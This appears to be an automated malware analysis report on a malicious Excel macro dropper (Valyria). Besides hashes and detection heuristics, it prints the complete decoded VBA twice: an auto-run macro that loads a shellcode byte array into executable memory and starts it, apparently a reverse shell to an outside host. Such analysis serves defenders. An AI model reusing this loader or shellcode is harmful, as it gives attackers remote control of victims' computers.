Valyria Office (OLE) malware analysis — malicious · 7a32719cd5cdacb9

MALICIOUS

Office (OLE)

38.0 KB Created: 2018-01-16 12:08:00 Authoring application: Microsoft Excel First seen: 2018-01-23

MD5: 1d2f027e6f6d546e2bca73d98c2f87f9 SHA-1: bb4b15ef1bc5107b861d74174c3cada9f8d7afa2 SHA-256: 7a32719cd5cdacb9aac09218cf555a63aeaff0711d07e6468e87739e09aaf108

124 Risk Score

Malware Insights

Valyria · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The presence of AutoOpen, Workbook_Open, and Auto_Open VBA macros, along with a reference to VirtualAlloc, strongly indicates a malicious dropper. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' further supports this, suggesting the macro's purpose is to download and execute a secondary payload. The VBA code is heavily obfuscated, but the heuristic firings and ClamAV signature are sufficient for a high-confidence assessment.

Heuristics 6

ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC

Reference to VirtualAlloc API
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Sub
Sub AutoOpen()
    Auto_Open
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
End Sub
Sub Workbook_Open()
    Auto_Open
```

Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro

Matched line in script

Sub Auto_Open()
    'Dim testing123 As Long, Cats As Variant, Horses As Long

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7332 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	7332 bytes
SHA-256: `1ea2fba798e3aa38148fcfd5c3bf1c573974338a13c8d49263e6e8e6d6e48ce9`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True #If VBA7 Then ' Find them on the product page! If you need help assembling your IKEA furniture you can access the instructions at any moment. Just look for any product in the search bar above and find its assembly instruction available on the product page for you to download as a PDF (below Product Details tab). Private Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr Private Declare PtrSafe Function Camels1 Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr Private Declare PtrSafe Function Camels2 Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr Private Declare PtrSafe Function Zebra Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr Private Declare PtrSafe Function Dog Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As LongPtr, Cow As Long, ByVal Lemur As Long, Bat As Long) As LongPtr Private Declare PtrSafe Function Test123 Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr Private Declare PtrSafe Function Zebras Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr #Else Private Declare Function Camel Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long Private Declare Function Zebra Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long Private Declare Function Dsdgs Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As Long, Cow As Long, ByVal Lemur As Long, Bat As Long) As Long Private Declare Function Zebra Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long Private Declare Function Dogs Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long #End If Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As LongPtr, Cow As Long, ByVal Lemur As Long, Bat As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr Sub Auto_Open() 'Dim testing123 As Long, Cats As Variant, Horses As Long ' Dim Dogs As Long, Cats As Variant, Horses As Long #If VBA7 Then 'Dim Cows As LongPtr, Donkeys As LongPtr 'Public Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr 'Public Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr 'Public Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr 'Public Declare PtrSafe Function Zebras Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr Dim Cows As LongPtr, Donkeys As LongPtr #Else ' Testing to ensure continuity 'Public Declare Function Camel Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long 'Public Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long 'Public Declare Function CreateThread Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As Long, Cow As Long, ByVal Lemur As Long, Bat As Long) As Long 'Public Declare Function Zebra Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long 'Public Declare Function VirtualAlloc Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long Dim Cows As Long, Donkeys As Long #End If 'Doggies = Array("test123", "Once your", "files have been", "uploaded into Dropbox", "you'll be able to access them from any computer", "or mobile device on which you're logged into", "Dropbox. Create a new folder. Click the New folder", "and press Enter") 'Dogs = Array("test123","Once your", "files have been", "uploaded into Dropbox", "you'll be able to access them from any computer", "or mobile device on which you're logged into", "Dropbox. Create a new folder. Click the New folder", "and press Enter") Cats = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, _ 1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _ 207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, _ 141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _ 196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 46, 101, 51, 212, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 97, 0, 0, 0, 106, _ 0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, _ 0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 34, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, _ 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 233, 113, 255, 255, 255, 1, 195, 41, 198, 117, _ 199, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213) Cows = VirtualAlloc(0, UBound(Cats), &H1000, &H40) For Horses = LBound(Cats) To UBound(Cats) Dogs = Cats(Horses) Donkeys = RtlMoveMemory(Cows + Horses, Dogs, 1) Next Horses Donkeys = CreateThread(0, 0, Cows, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Module1"

SHA-256: 1ea2fba798e3aa38148fcfd5c3bf1c573974338a13c8d49263e6e8e6d6e48ce9

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

#If VBA7 Then
    ' Find them on the product page! If you need help assembling your IKEA furniture you can access the instructions at any moment. Just look for any product in the search bar above and find its assembly instruction available on the product page for you to download as a PDF (below Product Details tab).
    Private Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    Private Declare PtrSafe Function Camels1 Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    Private Declare PtrSafe Function Camels2 Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    Private Declare PtrSafe Function Zebra Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    Private Declare PtrSafe Function Dog Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As LongPtr, Cow As Long, ByVal Lemur As Long, Bat As Long) As LongPtr
    Private Declare PtrSafe Function Test123 Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr
    Private Declare PtrSafe Function Zebras Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr
    
#Else
    Private Declare Function Camel Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long
    Private Declare Function Zebra Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long
    Private Declare Function Dsdgs Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As Long, Cow As Long, ByVal Lemur As Long, Bat As Long) As Long
    Private Declare Function Zebra Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long
    Private Declare Function Dogs Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long
#End If



    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
        Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As LongPtr, Cow As Long, ByVal Lemur As Long, Bat As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr


Sub Auto_Open()
    'Dim testing123 As Long, Cats As Variant, Horses As Long
    '
    Dim Dogs As Long, Cats As Variant, Horses As Long
#If VBA7 Then
    'Dim Cows As LongPtr, Donkeys As LongPtr
    'Public Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    'Public Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    'Public Declare PtrSafe Function Camels Lib "kernel32" (ByVal Dragon As LongPtr, ByRef Unicorn As Any, ByVal Wyvern As Long) As LongPtr
    'Public Declare PtrSafe Function Zebras Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As LongPtr
    
    Dim Cows As LongPtr, Donkeys As LongPtr
#Else
    ' Testing to ensure continuity
    'Public Declare Function Camel Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long
    'Public Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dragon As Long, ByRef Unicorn As Any, ByVal Wyvern As Long) As Long
    'Public Declare Function CreateThread Lib "kernel32" (ByVal Dog As Long, ByVal Cat As Long, ByVal Horse As Long, Cow As Long, ByVal Lemur As Long, Bat As Long) As Long
    'Public Declare Function Zebra Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long
    'Public Declare Function VirtualAlloc Lib "kernel32" (ByVal Seal As Long, ByVal Squashies As Long, ByVal Monitor As Long, ByVal Budgie As Long) As Long
    
    Dim Cows As Long, Donkeys As Long
#End If
    'Doggies = Array("test123", "Once your", "files have been", "uploaded into Dropbox", "you'll be able to access them from any computer", "or mobile device on which you're logged into", "Dropbox. Create a new folder. Click the New folder", "and press Enter")
    'Dogs = Array("test123","Once your", "files have been", "uploaded into Dropbox", "you'll be able to access them from any computer", "or mobile device on which you're logged into", "Dropbox. Create a new folder. Click the New folder", "and press Enter")
    Cats = Array(232, 130, 0, 0, 0, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, 2, 44, 32, 193, 207, 13, _
    1, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, 1, 209, 81, 139, 89, 32, 1, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, 1, 214, 49, 255, 172, 193, _
207, 13, 1, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, _
141, 93, 104, 51, 50, 0, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 255, 213, 184, 144, 1, 0, 0, 41, _
196, 84, 80, 104, 41, 128, 107, 0, 255, 213, 106, 10, 104, 46, 101, 51, 212, 104, 2, 0, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 97, 0, 0, 0, 106, _
0, 106, 4, 86, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, _
0, 126, 54, 139, 54, 106, 64, 104, 0, 16, 0, 0, 86, 106, 0, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, 0, 86, 83, 87, 104, 2, 217, 200, 95, 255, 213, 131, 248, 0, 125, 34, 88, 104, 0, 64, 0, 0, 106, 0, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, _
117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 233, 113, 255, 255, 255, 1, 195, 41, 198, 117, _
199, 195, 187, 240, 181, 162, 86, 106, 0, 83, 255, 213)

    Cows = VirtualAlloc(0, UBound(Cats), &H1000, &H40)
    For Horses = LBound(Cats) To UBound(Cats)
        Dogs = Cats(Horses)
        Donkeys = RtlMoveMemory(Cows + Horses, Dogs, 1)
    Next Horses
    Donkeys = CreateThread(0, 0, Cows, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub






Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Open this report in the interactive analyzer, or submit your own file for analysis.